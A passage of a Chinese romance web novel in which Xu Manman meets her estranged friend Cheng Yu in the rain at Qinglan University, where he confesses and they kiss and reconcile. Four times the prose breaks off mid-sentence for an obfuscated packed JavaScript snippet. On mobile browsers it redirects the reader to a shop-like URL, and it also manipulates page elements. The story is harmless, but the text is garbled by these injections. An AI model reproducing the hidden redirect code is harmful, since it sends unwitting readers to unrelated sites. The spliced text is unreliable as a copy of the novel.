许曼曼之前就说好了不回家,要和舍友一起出去玩。可是制定国庆计划的时候,她和程喻还没有绝交,当时大家定的是要去华都。 宿舍四个人,当时一致通过,因为有人要去找同学,有人要去游乐园,还有人刚好要看演唱会。 许曼曼本来也觉得不错,可以去找程喻玩,可是现在这样算什么,他们都已经绝交了。而且也不清楚他假期要做什么,搞不好他也会出去玩,根本不在华都呢。 想到这个,她又手欠去翻微信。 点开他的朋友圈,依旧空荡荡什么也没有,提示信息为零。 唯一值得庆幸的就是,他应该也没把自己删了,不至于朋友圈也没得看。 许曼曼突然意识到,他说得其实是对的。两个人如果真要不联系,那其实就可以完全没有交集,不是什么难事。 带着这样混沌的心情,她和舍友一起去了华都。 按照计划,是要待五天四晚,三天一起行动,两天自由活动。 不过人家都是有约的,要么去见同学朋友,要么去看演唱会,只有自己什么个人行程都没有,于是在第三天就成了孤家寡人。 她一个人的话就会很懒散,起得很晚,一直在酒店待到下午才出门。 虽然是出了门,其实漫无目的的,也没想好要去哪里,单纯是为了不浪费出来玩的时间。 而且天气不好,看着阴沉沉的,让人提不起什么精神。 她今天还没吃东西,于是随便在网上找了间下午茶店,想着去吃点什么就回去。 可是坐进出租车里,司机师傅问去哪里的时候,说出口的话却莫名转了个弯,变了方向。 “去……清岚大学吧。” * 校园里人很多,有假期没有离校的学生,可能更多的是像自己这样的游客。 而且校园真大,比她们学校大多了,她在里面随便逛了会儿就觉得累。 其实她不是第一次来,大一上学期的时候有来找过程喻,那时程喻有带着她四处参观过,不过她嫌累,是程喻骑车带她,根本也没怎么走路。 现在,路边偶尔有学生骑车经过,她忍不住去看,当然不是程喻。 这么大的校园,这么大的城市,没有约好的话,要想遇到一个人还是挺难的。 正在胡思乱想着,天色越发阴沉起来,雷声过后,很快就下起了急雨。 许曼曼没有带伞,连忙跑到旁边一栋楼躲雨,站在廊檐下,有些发愁地看着外面渐急的雨势。 她原本是打算吃点东西就回去的,所以没有带伞。 可是看这架势,这雨好像比预计的要大,还不知道要下多久呢。 她躲雨的这栋楼,好像又不是公共楼,是人家哪个学院的楼,进去是要刷脸的。她过去看了一圈,研究一番,又灰溜溜地回到了原处。 雨越下越大,天色暗沉,好像入夜时分。 她一个人孤零零站在廊檐下,看着这雨幕,心里琢磨今天的演唱会还开得成吗,林乔会不会也要被淋。 正在发呆,耳边却突然传来熟悉的声音。 一时间她还以为自己幻听了,抬起头,迎面打着伞走来的人,可不就是程喻。 可是他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781274|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个人,身边还有一个女生,两个人并肩走着,不知道在说什么。 雨声太大,她听不清楚,可能也根本没有分心去听。 她只是呆呆地站着,看着他们穿过雨幕,要走到这楼里来。 蓝色的伞面一抬,程喻的视线看过来,两个人隔着这大雨对视。 可也只是一瞬间,许曼曼根本不关心他,有些急切地看向他身边,想要看清那个女生的样子。 她打的是一把粉紫色的伞,高高的个子,长发,很温柔漂亮的感觉。 因为程喻脚步停下,她也跟着停住,然后顺着他的视线,有些疑惑地看了过来。 看清她脸的那一刻,许曼曼突然想到,自己连妆都没化。 因为原来根本没打算来这里,只是出去吃个饭,所以随便换了件衣服,就这么清汤寡水地出来了。 谁能想到饭没吃成,现在竟然在这里遇到他,和她了。 不是说华都很大,清岚大学也很大吗? 怎么偏偏一场雨,就这么轻而易举的遇到了。 这该说她是幸运还是不幸呢? 因为她在这漫天的雨声中意识到,自己好像根本就没准备好。 停滞的时间其实很短,她没打算给这场偶遇多加几个场景,于是转开目光,跑进了这场雨里。 雨水落在身上的触觉很真实,在提醒着她这不是梦。 跑过他身边的时候,他叫了自己的名字。 “曼曼!” 她停也没停,甚至又加快了脚步,要跑出这条路去。 手在额头上徒劳地遮着,雨水还是迎面打在了脸上,带着凉意。 结果没跑到路边就被他追上,一把拉住。 “许曼曼!” 他语气有些重,把伞挡到了她头上。 许曼曼没看他,挣扎了两下,试图甩开他的手,可是没有成功。 他手劲很大,紧紧攥住她的手臂,根本挣不开。 “干吗?” 许曼曼终于放弃挣扎,抬眼瞪他。 “你干吗?”他皱着眉头,“下着雨呢,你非要淋雨?” 许曼曼不说话,隔着他的肩膀看过去,那个女生已经去到楼下,收了伞,正往这边看过来。 她火气上来,又瞪他。 “不是绝交了吗?你管我呢?我爱淋雨关你什么事?” 他盯着她,面无表情的样子,看起来是生气了。 可是许曼曼更气,于是又开始想要挣开。 “放手!” 也不知道他力气到底为什么这么大,她觉得浑身的劲都已经使上了,可还是怎么样都挣不开。 程喻冷眼看着她徒劳挣扎的样子:“你来这里干吗?” 许曼曼再次放弃,语气很冲。 “我来闲逛啊,怎么,清岚大学是你开的,跟你绝交了我就不能来了?” 他不说话,又皱起了眉头。 许曼曼余光一扫,发现那个女生已经没再看,好像是进去楼里了。 只剩他们两个人站在这大雨里,毫无意义地对峙。 她突然哭了,小公园那天晚上没有落下来的眼泪,在此刻突然决了堤,和她脸上的雨水混在了一起。 实在是很丢脸,她一边哭着,一边又试图挣开他的手。 “你放开。”她抽噎着说,“我要走。” “许曼曼。” 程喻再一次叫了她的全名。 他看着她,甚至露出了一个凉凉的笑,语气嘲讽。 “你哭什么?你有什么可哭的?” 5. 苹果汁 雨还是很大。 许曼曼和程喻坐在学校的一间咖啡馆里,她头发已经借了毛巾擦干了,情绪也平复下来,老老实实坐在窗边,吃完了一整份三明治。 程喻坐在对面,沉默地看着她,也不说话。 三明治吃完,她又喝起了苹果汁,是程喻点的餐,他知道自己不喝咖啡,问也没问就点了果汁。 到苹果汁也喝完,许曼曼放下杯子,感觉必须要说点什么了。 “这雨下得真大。”她看着窗外,“我舍友晚上的演唱会,在体育场,感觉要看不成了。” 程喻没有接话,依旧沉默。 “对不起。”她说。 垂下脑袋,揪着自己的袖口。 “我这些天有在反思,真的。我太自我了,只活在自己的世界里,根本没真正关心过你。我不知道你在做什么,你现在有什么朋友,有什么烦恼。我习惯了你来适应我,这么多年都是这样,我太自私了,根本不算一个好朋友,对不起。” 一口气把话说完,等了片刻,终于等来程喻的回话。 “这么多天,你就想了这些?” 她抬头看他,有些分辨不出这话的含义。 “我也不知道。”她犹豫了下,问他,“你是不是有女朋友了?” 程喻的表情终于有了松动,像是愣住了。 “如果有的话,也没关系,我也不知道……”许曼曼吞吞吐吐的,“我觉得我们还是可以当朋友的吧,我不会经常打扰你的,只是朋友而已,可以的吧?” “是吗?”他突然笑了,“有你这样的朋友还真挺好的。” 许曼曼知道他这笑并不是心情好的意思,于是又没话说了。 “不过不必了。”他继续说,“不用做朋友。” 所以还是这样,跟之前没有任何区别。 许曼曼看着他,有些焦躁。 “那你要说啊,你总要让我知道为什么吧,我有什么不好的地方可以改,可是你不能就这么不明不白地……我们这么多年的好朋友,突然就……” “突然没了我不习惯?”程喻的语气很温柔,话却异常残酷,“你会习惯的,没有什么是必须存在的,原因我上次已经说过了。” “那你干吗帮我?你干吗不让我淋雨跑回去,干吗带我来这里,干吗知道我不喜欢吃番茄,不喝咖啡?” 许曼曼的眼泪又在眼眶里打转了,看着他。 “既然绝交了,你干吗还要对我这么好?” 他沉默了,半晌,才笑了笑。 “是啊,你就当我犯贱吧。” 说完就站起身来,垂眼看她。 “我先走了,伞留给你。” 许曼曼没说话,就这么呆呆地看着他出门,走进了外面的大雨里。 风把咖啡馆的门吹回来,门口的风铃响了,叮铃铃的,在这雨声中也能听到悦耳的铃音。 她终于回过神来,起身跟着跑了出去,再次跑进这场大雨里,追过去,从背后紧紧抱住了他。 “不准走。” 后面也许有人在看,不过无所谓了。 她刚才突然一阵心慌,比起那个小公园的夜晚,今天这场雨,让她觉得更像一场真正的告别。 如果就这么放开他,也许他们真的再也做不成朋友了。 于是她在这场初秋的急雨里,紧紧抱住程喻的腰,不肯放手。 “程喻,不准走。” * 在雨中上演这么一出离别剧的结果就是,两个人都湿透了。 许曼曼又哭得很厉害,在雨中直打冷颤。她自然没办法去男生宿舍,住的酒店又离这里很远,没办法,程喻只好带她去学校外面的酒店开了间房。 开房的时候她也在哭,手还攥着他的衣角不肯放。 酒店前台接过程喻的身份证,又不确定地问了一下。 “那个,同学,你是自愿的吗?” 程喻无奈看天,她哭得抽抽嗒嗒的,点了点头。 “我们,是,是朋友。” 进了房间,她先进了浴室洗澡,出来的时候程喻已经买来了更换的衣服。 “楼下便利店买的。”他递给她,“只有这种,凑合穿吧。” 内衣内裤都有,还有便利店卖的那种大号T恤,上面印着“ILOVE华都”,穿上去松垮垮的,像睡衣。裤子也有点长,她把裤腿挽起来两截,才不至于绊到自己。 等到程喻也洗了澡出来,他穿的也是一样的,不过他个子高,穿着就很合身。 看到他要出门,许曼曼急忙跟了过去,又拉住他衣角。 “你要干吗?” 程喻拿起旁边的衣篓,有些无奈。 “去洗衣房送衣服。” “我跟你一起。” 许曼曼怕他走,亦步亦趋跟着,去了五楼的洗衣房送洗,又一路跟了回来。 回到房间,无事可做之后,两个人重新安静下来。 毕竟刚经历了那么戏剧化的场面,感觉两个人都有点不知道怎么面对彼此。 程喻坐在窗边的沙发上,许曼曼本来坐在床头看电视,过了一会儿,关掉电视,凑过去坐到了他身边。 沙发其实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781275|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍大的单人沙发,两个人在一起就会很挤,许曼曼又屈着腿坐,整个人几乎都靠在程喻身上了。 程喻收起手机,看她一眼。 “你什么意思?” 许曼曼盯着空气发呆,半晌才说。 “我也不知道。” 他又不说话了,两个人靠在一起陷入沉默。 “程喻。” 许曼曼把脸贴在他手臂上,能闻到他身上和自己同样的洗发水沐浴露的味道,可是好像哪里又有点不一样。 “你别生气了,我知道错了。” 他默然片刻,开口时声音很轻。 “你不知道。” “那你告诉我。”她说,仰起脸看他,“你别不理我了。” 两个人对视,他先移开了目光。 “你说话呀。”许曼曼伸手戳戳他,“我到底哪里做错了,你告诉我,我改,我一定改,真的。” 可回应她的只有沉默。 许曼曼又是一阵心慌,于是伸手抱住他,可是两个人明明距离这么近,她还是觉得好没有安全感,好像他随时都会抽身离去。 这么想着,感觉眼泪又要流下来了。 “真的,程喻,我以后不任性了,可是你别不理我。” “许曼曼。” 他终于说话,声音却和刚才截然不同,冷冷的。 “我真的很好奇,你到底有没有把我当成一个男人?” “……嗯?” 许曼曼愣愣抬头,和他对上眼神。 他皱眉看她,语气冷淡。 “孤男寡女单独待在一个房间里,你还这样紧紧抱着我不放,有没有想过这意味着什么?” 一时间许曼曼有点想笑,可是程喻的表情告诉她,现在不是在开玩笑。 “可是。”她收起玩笑的念头,想了想,“可是你是程喻啊,这又不一样。” “哪里不一样?”他声音更冷了,盯着她,“我是没有男人的功能吗?” “你,你又不会……” 她看着他的神情,突然有点动摇,抱着他的手不由得松了松。 他自然感受到了这一点。 “哦,我不会吗?” 他笑了,随即抬起她的下巴,吻了过来。 只是很轻的一吻,嘴唇轻柔地擦过,不带任何情绪,几乎一触即离。 但是他手并没有放开,脸贴得很近,呼吸萦绕在她的脸侧,有些灼热。 “现在呢?” 他说,声音几乎是气音了,带着点诱哄的意味。 “你再说说看。” 6. 初吻 许曼曼大脑一片空白。 程喻突然亲她,这是她始料未及的,完全在她大脑处理范围之外。 所以她能做出来的反应,也就只有呆愣愣地看着他。看起来挺正常,其实人已经短路了,甚至连他的话都有点理解不了。 而且两个人本就一起缩在沙发上,她退无可退,连缓冲空间都没有。 她不说话,程喻却没有等下去的意思。 短暂的沉默过后,他俯身过来,把她整个人困在怀里,继续亲了过来。 却不同于刚才那蜻蜓点水般的一吻,有些急切地撬开她的齿关,好用力地亲着她。 许曼曼反应不过来,两个人的舌尖纠缠在一起,她腰都软了,根本也没力气反抗,只是傻愣愣地仰着脸承受着,直到有些呼吸不过来,才终于回过神来,抬手捶着他的胸口,在唇舌交缠间发出了微弱的求救信号。 程喻这才松开她,但也并没有退开多远,两个人几乎还是脸贴脸,呼吸都有些凌乱。 许曼曼等到呼吸平顺一些,这才去看他。 可是程喻并没有在看她,脸埋在她的颈侧,刚才的侵略性已经荡然无存,像只大狗一样,毛茸茸地蹭着她的脖子、下巴。 “程喻!” 许曼曼没有被他的样子迷惑,但是也确实不知道该说什么。 想来想去,只蹦出一句。 “你疯了?” “嗯。” 程喻终于抬起头来,他的眼神几乎像外面的大雨一样,湿漉漉的,脸颊也隐隐泛着红。 就这么看着她,声音很低。 “你就当我疯了吧。” “你……” 许曼曼说不出话来,过去这几分钟的剧情发展,对她来说有些太超过了。 “想打人的话也可以。”他说,一副任凭处置的可怜样子,“所以你现在知道了我是混蛋,不会想再跟我联系了吧。” “什么……你什么意思?”许曼曼皱起了眉头,“所以你是故意惹我生气?” “随你怎么想。” 说实话她不知道该怎么想,她毫无头绪。 于是气氛一时又陷入了静止,两个人还是以这样的暧昧姿势靠在一起,现在她几乎是坐在他怀里。 于是她命令道:“你起来!” “不行。” 他说,不知怎么视线有些躲闪。 “现在不行。” “怎么了?” 她动了动,试图自己起身。 他一把按住她:“别动!” “到底怎么——” 话说到一半,她的声音戛然而止,好像感受到了点什么。 气氛立刻转为尴尬,他再次垂下脸,埋在她肩上。 许曼曼突然有些想笑,但理智告诉她现在不是该笑的时间点。 正在矛盾间,程喻却像是感受到了她的心理活动,声音闷闷的传了过来。 “不准笑。” 许曼曼立刻笑出了声。 但是笑了两下,突然又觉得没意思,笑不出来了。 “这是我的初吻呢!”她抱怨道。 他还在埋着头,仿若未闻。 于是许曼曼又问他:“你呢?” “你觉得呢?” “我怎么知道。”她说,“搞不好你有女朋友——” 话音再次戛然而止,程喻抬起头来,面无表情地盯着她看。 “好吧好吧。” 许曼曼被他眼神盯得有些发毛,妥协地说。 “你说现在怎么办?” 她尽量让语气轻松一点,感觉只有这样才不至于太慌张,其实大脑什么也没在想,几乎是在凭本能做反应。 他的脸色却再次沉下来,放开她,起身去了洗手间。 许曼曼终于脸红了,一个人尴尬地坐在沙发上,抱着膝盖,盯着对面的墙壁看。 他出来之后,说了声。 “我去拿衣服。” “嗯。” 许曼曼点点头,没有看他,也没再跟过去,现在也不怕他丢下自己走了。 衣服都已经洗净烘干了,程喻拿回来之后,换回了自己的衣服。 许曼曼看着他:“你要回去吗?” “不然呢?” “可是。”她放开手臂,在沙发上坐正,“可是什么都没解决啊?这算什么?” 程喻有些自嘲地笑了:“是啊,这算什么。” 他走过来,在床边坐下。两个人面对面,四目相对。 许曼曼把刚才的思绪理了理,试探着问。 “程喻,你,你喜欢我?” 他瞟了她一眼,没有回答。 但也没有否认。 这下许曼曼大脑更是疯狂运转。程喻竟然喜欢自己?怎么会呢?什么时候开始的? 头脑风暴了半天,也没理出个所以然,只想出一个问题。 “那你干吗要和我绝交!” “因为我不想喜欢你了。”他说。 许曼曼愣住:“我怎么了?” “你没怎么,只是你不喜欢我。”他表情淡淡的,“我累了,不想再继续做无谓的事了。待在你身边只会越来越痛苦,而你也不会喜欢我,不如及早抽身。” “可是。”她有些呆滞,“我们可以做朋友啊,只是做朋友不可以吗?” “我不想和你做朋友了。” 他说,语气几乎有些不耐烦。 “许曼曼,要么不只是朋友,要么就不要再见面了。我不是在逼你,只是纠缠这些也没意思,喜欢的人我不想做朋友。” “我……” 她看着他,张了张嘴,却说不出话来。 “不用勉强自己,我也没什么不可替代的。既然话说开了,你就当少了个朋友,也没什么。可能我这样的处理方式有些极端,但是不要再联系了,那时你对待王旭阳不就是这样,没什么大不了的。” 没想到对话中竟然会出现这个名字,许曼曼努力回想才记起这个人是谁。 是初三的同班同学,还坐在她前桌,两人关系一度不错,课间也会一起聊天。 可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781276|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在王旭阳对自己表白之后,许曼曼突然觉得非常恶心,甚至不愿意去上课了。 那时她对程喻说,被不喜欢的人喜欢好恶心,看到他就想吐,宁愿被妈妈骂也不想去上课。 这事过去几年了,自己都快忘了,没想到他竟然还记得。 可是这怎么会一样,王旭阳只是自己生命中一个无关紧要的人,一个不见面最好的人,怎么能跟程喻相提并论? 她不说话,程喻已经起身。 “我先走了,伞给你放在这里,你想走的时候走吧。” 他换好鞋,伸手要去开门的时候,许曼曼终于醒悟过来,鞋都来不及穿,光着脚冲了过去。 “你别走!” 她挡在门前,有些急切地看着他。 “我,也许我现在还不喜欢你,但是我不想跟你分开。程喻,你不想当朋友,可以,我会喜欢你的!” 程喻被她气笑了。 “许曼曼,你什么意思?”他虽然笑着,声音却很冷,“觉得我很可怜,施舍我?” “不是。”她急忙否认,“我不是。” “我说了不是在逼你。” 他吐出一口气,语气和缓了一点。 “不当朋友没什么,不用非要勉强自己。” “我没有勉强自己!” 许曼曼紧贴着门,仰脸看他,希望尽可能表露自己的真诚。 “真的,程喻,也许我就是还没想明白,你给我点时间行吗?我不是逼自己喜欢你,你也知道我的,不喜欢的人我是无论如何都不会接受的。但是这些天,你不理我的这些日子,我也一直在想,你对我来说到底意味着什么呢?我是还没想明白,但是你对我来说绝对不是可有可无的!绝对不是!” 她顿了顿,努力平复自己的情绪,让自己不要太激动。 “我很想你,你不和我说话我好难受,每天都在回想我们之前的事。越想就越觉得,你对我来说好重要。虽然我还不知道这种重要到底是什么,但是你能等等我吗?” 一口气说完这一长串话,她几乎有些如释重负。 程喻垂眼看她,有些沉默。 “还有,还有就是,刚才你亲我……” 她声音小了下去,听上去几乎像在哼哼。 “我没觉得讨厌,我觉得……还行……” 低着头,自己都能感觉到脸颊在发烫。 程喻不说话,她偷偷抬眼去看他,这才发现,他好像也有点脸红。 于是大着胆子上前一步,去拉住他手臂。 “所以程喻,你能不能等等我,你先别喜欢别人,也别不理我,好不好?” 两个人对视,她看着他的眼睛,又急忙保证道。 “我不会想很久的!” 程喻轻轻叹了口气。 她知道他这是同意了,于是高兴地抱住他,脸埋在他身上。 “我就知道小鱼最好了!” 他动作却有些僵硬,声音幽幽在她头顶响起。 “许曼曼,现在你知道了,能别抱这么紧了吗?” 7. 兔子 去退房的时候,前台还是刚才的女生,不由多看了他们两眼。 大概是刚才许曼曼太丢脸,给人留下了深刻印象。或者是没见过开了房只待一会儿,到了晚上反而要走的。 许曼曼装作镇定的样子,出了酒店,立刻捂住了脸。 “太丢脸了,我以后再也不会来这家店了。” 程喻倒是没她这么强的羞耻心,事实上,他看起来心情简直好极了。 “雨停了。” 雨真的停了,天也已经黑了,路灯照着地上的雨水,闪着粼粼的光。 “看来演唱会可以照常开了。” 许曼曼看了眼时间,走进这下过雨的夜色中。 “你饿不饿?”程喻手里提着一堆东西,跟上来,“要不要去吃饭?” 确认可以不绝交之后,许曼曼已经恢复了老样子,又变成了颐指气使的老佛爷。 看了他一眼,施施然道:“吃,去你们学校吃。” 刚好是饭点,虽然正放假,食堂里的人也不少。 许曼曼四处转悠着,正找自己爱吃的东西,旁边有人跟程喻打了招呼。 是个高个子男生,笑意盈盈的,而且不知道为什么,怀里竟然抱着个篮球。 “孟乐。”程喻给她介绍,“我们同一个寝室。” 又给孟乐介绍:“这是许曼曼,我——” “哦,我知道,曼曼嘛。” 他话还没说完,孟乐已经很自来熟地过来,伸出没抱篮球的那只手。 许曼曼心情复杂地伸手,和他握了握。 也不知道他打完篮球洗没洗手。 好在,她不好表达的嫌弃,程喻替她转达了。 “你洗手了吗?” “哎呀,我手不脏。”他笑嘻嘻的,“你控制欲能不能别这么强,人家曼曼还没说什么呢。” 又凑过来一张笑脸:“可算见着你了,你说说,这都大二了,你怎么才来呢?” “那个。”许曼曼有些疑惑,指了指自己,“你认识我?” “你这话说的,那谁不认识你啊。” 孟乐可真是不辜负他这名字,脸上永远挂着笑。 “你去我们寝室打听打听,谁不——” 他话没说完,程喻直接把手里拎着的袋子怼到了他脸上,把后面的话堵了回去。 “好了,你回去吧,帮我把东西也拿回去。” “哎哎,干吗呢。”孟乐手忙脚乱地接过去,“我还没吃饭呢,我要吃了饭再回去。” “吃什么,你别吃了。” 说着,程喻已经拉着许曼曼走了,随便挥了挥手就算打发他。 许曼曼回头,刚好和他对上视线,孟乐抱着篮球和袋子站在原地,还是笑眯眯的,朝她眨了眨眼。 * “程喻,你是不是说我坏话了?” 买完饭坐下,许曼曼手里攥着筷子,也不吃饭,先发出了疑问。 “怎么了?” 程喻正在给她剥虾,瞥了她一眼。 “你看刚才孟乐那表情,而且他分明认识我,我之前又没见过他,那肯定是你说我坏话了。” “吃你的饭吧。”程喻把剥好的虾塞进她嘴里,“我没事说你坏话干什么。” “哼。” 许曼曼嘴里嚼着虾,暂且不说话。 这时旁边突然又有人打招呼,是一对情侣,男生看起来和程喻认识,端着餐盘说了几句就走了。 程喻转过头来,就看到许曼曼靠在椅子上,脸上表情莫测。 “又怎么了?”他说。 “看不出来啊,你还挺受欢迎的,吃个饭都这么多人打招呼。” “就两个。”他无奈地说,“而且这个食堂离我们学院的楼最近,所以来的人比较多。” “我又没说什么,你解释什么啊。” 说着,许曼曼环顾四周。 “不过,感觉我之前确实来少了。” “嗯?” “之前都是你来我们学校找我啊,我就来过一次。” 许曼曼倾身向前,看着他的眼睛。 “我很愧疚,真的。” 程喻瞥了她一眼,嘴角扯了扯,没说什么。 许曼曼终于开始吃饭,然后,状似不经意地问。 “对了,今天和你一起的那个女生是谁啊?” “傅雅宁,我们同一个课题组。” “哦,下这么大雨还要一起去学习,挺用功啊。” “放假这几天实验也不能停,要有人盯着。”程喻看着她,“怎么了?” “没怎么啊,随便问问不行啊。” 许曼曼把盘子里的胡萝卜都挑给他,又问。 “那你就那么走了,也没去,能行吗?” “没事,我跟她联系了,今天就不去了。” 程喻又剥好虾,放到了她碗里。 许曼曼顿了顿,放下筷子。 “不想吃了。” “嗯?”程喻看她,“怎么了?这才吃了几口。” “不饿。” “刚才不还说饿了吗。”程喻转头看了看,“我再去给你买份别的吧,排骨汤喝不喝?还是你想吃甜的?” “说了不饿。” 许曼曼手撑着脸,突然就没精打采的。 “是不是淋感冒了?” 程喻擦了擦手,伸手过来试了下她额头的温度。 “好像不烧,待会还是吃点药预防一下。” “哎呀别管我。”许曼曼有些不耐烦地拨开他手,“你吃你的。” “我也不饿。”他说,“还是去给你买药吧,赶紧吃上,保险一点。” “我不吃药!” 许曼曼声音有点赌气。 “怎么了?”他看着她,好声好气地说,“你们明天不是还要出去玩吗?你感冒的话可就玩不了了。” “我又不是小孩子!” 他笑了:“你这话可没什么说服力。” “哼。” 许曼曼翻了个白眼,懒得理他。 “那,你们都安排了什么行程?明天是要去哪里?” 他语气实在温和,温温柔柔地盯着她看,于是许曼曼撇了撇嘴,还是说了。 “我也很忙的好吧,还剩两天,明天去游乐园,后天还要去博物馆,先说好,可没时间再跟你玩了。” “可是我明天有时间。”他笑了,“可以跟你一起去吗?” “啊?”许曼曼愣住,“你也要去?” “不行吗?” “可是,你不是说你们那实验都不停——” “少一个我也没事,还有别人呢。”他说,“我更想陪你。” “你少说漂亮话了。”许曼曼哼了声,“而且我们四个女生,你去算什么啊?” 看着他的表情,想了想又说。 “算了算了,我问问吧,要是她们同意就可以。” * 没想到晚上回去说了之后,林乔她们立刻同意了。 “哎呀你傻呀,让他去帮我们拍照!刚好缺一个拍照的,这不,免费的来了。” 林乔算盘打得很响,又说。 “而且又不是不认识的人,之前都见过的,这有什么。” 确实,大一上学期的时候,程喻去找她找得很勤,也就和几个舍友都见过面。他这人见人爱的,只要想,就能和任何人搞好关系。 第二天果然如此,无论是拎包、拍照,还是排队、买饭,这人都尽职尽责任劳任怨的,比花钱雇的陪玩还靠谱。 趁着他去买冰淇淋的工夫,林乔在旁边揶揄许曼曼。 “不是绝交了?” “……” “之前让你来你还不来,哭着喊着不要来华都。看,这不就和好了?” 许曼曼无话可说,只好说:“不是你想的那样。” “怎么,确定关系了?” “哎呀没有!”她强调,“现在还只是朋友!” “还‘现在’呢。”林乔哼了声,“别怪我没提醒你,这么好的你不把握住,可有的是人喜欢,到时候后悔也晚了。我们距离又这么远,异地恋可不容易啊……” “好了别说了!”许曼曼有点炸毛,“你烦不烦啊!” 视线范围内,程喻手里拿着好几个冰淇淋,已经在往回走了。 林乔也就没再多说什么,但还是记得补上一句。 “可别忘了定好的规矩,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781277|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个脱单的要请吃饭。” “就知道吃!” 结果吃得最多的是许曼曼,她是典型的眼大肚皮小,什么都想尝尝,但又什么都吃不了多少。不过好在程喻在,吃不下的就都塞给他,他个子高饭量大,才算没有浪费粮食。 玩到下午玩累了,几个人才想起来去礼品商店买东西。 许曼曼精心挑选发箍,没给自己选到满意的,倒是先看到了适合程喻的。 “快点,低头。” 程喻就跟在她身边,闻言老老实实低下头,由着她把那个蓝色的小鱼发箍给自己戴上。 “我看看。”许曼曼端详了一下,非常满意,“好看,你就戴这个!” 程喻从旁边的货架上拿过一个粉色的兔子头箍,要给她戴。 “干吗?”许曼曼往后退,“我还没想好要哪个呢!” “这个适合你。” 程喻坚持要给她戴上。 “那你说出我和这兔子像的三个点,说出来我就戴。” 谁知道这人像是早就想好了似的,眼睛都不眨地说了出来。 “胆小、怕冷、喜欢咬人。” “……” 许曼曼气得上手掐他:“程喻!我在你心里就这形象啊?” “没有。”程喻单手搂住她,趁机给她戴上了,“逗你呢。” “拿开,谁让你给我戴的!” 许曼曼正在抗议,林乔溜溜达达从旁边过来了,手里拿着拍立得。 “哎呀,好了,别打情骂俏了。”她举起拍立得,“来,给你们拍一张。” “谁打情骂俏了?”许曼曼又瞪她。 程喻却已经伸手揽过她,告诉林乔。 “拍一张吧,谢谢。” 又伸手戳戳她脸颊:“笑一个。” “我才不笑。” 话是这么说,林乔按下镜头的时候,她还是抿嘴笑了。 拍完照,林乔把相纸递过来,又去给其他人拍了。 程喻拿在手里,许曼曼凑过去,看画面慢慢显现出来。 “看,我就说你戴这个适合吧。”程喻戳戳她脑袋。 照片效果确实不错,两人发箍一个粉色一个蓝色,看起来非常和谐。 “好了,给我。”许曼曼伸手要去拿。 “不行。”程喻手举高,“这个我要留着。” “凭什么?我也想要!” 许曼曼踮脚想要去够,却苦于两人之间的身高差,怎么也拿不到。 “程喻!” 她又试了两下,还是够不到,索性就算了。 “算了,我让着你。”她说,“那你把钱包拿出来,放进去随身带着!” “哦,这个可能不行。” 程喻把钱包拿出来给她看,里面已经有一张拍立得了。 许曼曼瞪他,但是仔细一看,竟然也是两人的合照,高中运动会时拍的。 两人穿着校服,笑得都很开心,程喻还伸手在她头顶比了兔子耳朵。 “哼。” 她把钱包还给他,没有发表评论。 * 之前安排项目的时候,林乔就非要把鬼屋放到最后,说是晚上更有感觉。 许曼曼没有辜负程喻对她的“胆小”评价,犹豫再三,还是放弃了。 于是程喻也没进去,陪她一起在外面等。 两个人坐在长椅上,听着里面不时传出的尖叫声,许曼曼越发庆幸自己的选择。 她靠在程喻身上,仰头看着天空。 “我明天就要走了。” “嗯。”程喻说,“我去送你。” “你明天也没事吗?” “没有。” 许曼曼仰脸看他,刚好和他对上眼神,他笑了。 “哼,谁信你的。”她直起身来,开始翻旧帐,“你之前都不联系我,心可真狠。” “以后不会了。” “那,回去之后,你每天都要主动联系我!” 他还是在笑:“你有时间吗?” “你管我呢?”许曼曼瞪他,“没时间你也要联系我!” “好。”他伸手过来,“要拉勾吗?” “幼不幼稚啊你!” 8. 赵宜杭 国庆假期结束,许曼曼还没过两天清闲日子,就被社团叫去开会。 她参加的是听音社,很高雅的一个名字,其实社员不到十人,是全校社团的最边缘,日常濒临解散。 